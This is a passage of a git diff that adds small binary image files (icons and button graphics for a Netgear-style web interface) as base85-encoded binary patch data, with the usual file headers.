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 D9CSX; literal 0 HcmV?d00001 diff --git a/sites/netgear/img/add_icon.gif b/sites/netgear/img/add_icon.gif new file mode 100644 index 0000000000000000000000000000000000000000..959634879ed45af67f8fd6044c7bb72725dd7cc8 GIT binary patch literal 58 zcmZ?wbhEHbSgA$3MlNEQ}05paUX6G7L(vHcrX3G|G%OP$5KP0t16J00|NtIRF3v literal 0 HcmV?d00001 diff --git a/sites/netgear/img/barrow.gif b/sites/netgear/img/barrow.gif new file mode 100644 index 0000000000000000000000000000000000000000..6d569fcaf21cb1b301e1ddbd7894875bb1eadde0 GIT binary patch literal 854 zcmZ?wbhEHbnQ{y#UD8fU9RuPKsE?)fMLTQE(QU01_l@%keHcQqUYxtqEKe6XR2ptz+hxx zXkcY%WMyQo0A!dLS(z9zurM%8U`v2dLk!b&P9#_XINZ0wxuY-}9d9GqMr0A%rSbMb&UAVVNp znOK>bS-IHR*uhFjBK{v>5aa;H04Fn}5(ASUBeNjm|04|YzzAUlI}a2;V8F=4%)-jX z4s-@LP{CFKp!1oTfsSScx)`Xs7AViaBFHMFXz0i$9GJ+iR48K9IB_9|veU+cqCpow zs2C>|HF0u@iAzXIsj8`KXlj|5nweWzS~We&gn?hmRgVdHU@6i$mSee*Oaai;;mD;w>PF)n9@@e=&jL zfF0y7My7HgW)@^&RWxK1atvfoEEHBUYUB`cnz(S|K~81kpbw%+MHjimR7@VKegt_9 z>@(s#)lOnKGb1qam<1W^8Gf7H|JMGWp=ssO{|v0Ze>8t^e=xuK>BsN` z+1~nm^F`_pxowKh+$U$8IqkjntynDsbKTGOlmEmPp0{86HSY93yL|iCPwHQ6SuMi& G|0V!ey8}}I literal 0 HcmV?d00001 diff --git a/sites/netgear/img/barrow_down.jpg b/sites/netgear/img/barrow_down.jpg new file mode 100644 index 0000000000000000000000000000000000000000..fe44e8dd6ec592df5a5d43903e74e5e7c1d715f0 GIT binary patch literal 811 zcmex=zV2q8Zi97&EU+y z1hklu5kxY901GpSWMyGtW?^GxV*_J$P7XG9PIfjn4sH%kE)W2+c(}QEKpc=E5UotC z%*?D@>}>2{B_t954=@OFFmN((GBYYMFbOg;3o`yc!XOXy04vyeAiskFBNHWnyY(ZeeNV?BeR??&0Yb91<+v*#~fzWVs-^OvvRzW@073*;|G24;x2fFxFb2?G7a1d0Q8 zkiQt2%7K_!kcCyzkWI)jkUge>eU!91J(nZ}`u^QlIg=;vZwh zg8Cfu?sxyBGmTF!%=~DQ^zP`>PY%@$=fs45m#=B;Q004nN&k&)@V|Cl?|*-z>p#xA Kw5Y-U|4jgFQuK8I literal 0 HcmV?d00001 diff --git a/sites/netgear/img/barrow_down_nobackground.gif b/sites/netgear/img/barrow_down_nobackground.gif new file mode 100644 index 0000000000000000000000000000000000000000..88d5054d9f6ed791bf7750cfa9541055dab701ce GIT binary patch literal 855 zcmZ?wbhEHb%g}pBqj6> z^s$H8>@oI#!}t1b;QwOas8nGG0LTF2Z@}L^0YGGcO!*M}VmGiuNkiLXDE6^a&aQ(l zzrq_~{rC1*1WaP%ss`~oHU(QW0tF;0xY40)@wy|WrXejPWg>DQ2aeIVAHq~~$PO7Q zs_qH2@yhdshMvO-H51f}`#0Eb4b_u5h^DDILn33U?q*l;sq>$X^yQuFqJJ7jM9ntG zpvk^kItEh(5Xq&<3M&}5Gx_PpVdK_VUT>PJfeSRHkv~9?x$Cp1Ps{*`o@31iCe68x zeoooiU)$E^CQf??dXAza$V%vqBw(fZsLNI&jhn~S@P8Dq?!~PxpZ~>?MMk^%$G&%8Ik)1vmf<2)Ic|wr? z?Ce04+x7{~bVlZf6bHn&h26cLB@KHRioZ=Q4KFA|miZuT_?efd{P~&AF8-*pNOH|0 zIYnH9dUSXDczF4_G3gT^?#g}?VW)|$-eq4kA&Ok=6>*#LAUL&#{NrvjK1n{yokFO@ z+d9;ElV{-Z7}&6o!5EMU>CD8)3|NlEtX)p9^Bf4IIj7Z>$r*k{^>W zbt7m{QqGL%SgsS9gH-ZtJZNqe*fe4}fwLI3k$xcMv5Nge4s=ac($2LoHVsr9E)-kCA3^DCOgBujo_A-!p?`ZaSEwD0|4 zgH!3MCRw5;<5vYnrFE&xjOw5UVT^0~oquju+c)#g3Re*G^mH004@BQETDlMZMGc|i>O zkkuf+py=81=kDJdFcdy-r>E9gwSw3j_}WdCt2D$n#-?o;BFMQX@)6kXTMfcKgtdEdJUeXLb)Jz$<*l!SB+ z(R!QWV&gkr5QICXxisx;GgE|5VO42MhFtZwKirQMRq4F99y+`7k&x@5d$b91o(LBg zVR5>;2FF2neUm&}XAoiqf?la&A_e*s?&>ytsa#x43*E18QAPwViXW8V^o&vYL%z?R z8Mm;XnkIuIK^x-IZYb3(&y9VfB*(DdgKAz1vXQo!hl4ok$!fRJhyY3XG@FWe0glF` YN-B8JYU@F_vG{TcN#Klf006sx0Sv345dZ)H literal 0 HcmV?d00001 diff --git a/sites/netgear/img/basic-purple-button.gif b/sites/netgear/img/basic-purple-button.gif new file mode 100644 index 0000000000000000000000000000000000000000..fa2e7ec066fed8a426e0a53916f685ffcb96e682 GIT binary patch literal 3181 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 literal 0 HcmV?d00001 diff --git a/sites/netgear/img/basic-white-button.gif b/sites/netgear/img/basic-white-button.gif new file mode 100644 index 0000000000000000000000000000000000000000..3666080caa0708e387a550b14d209d774355ca27 GIT binary patch literal 2291 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 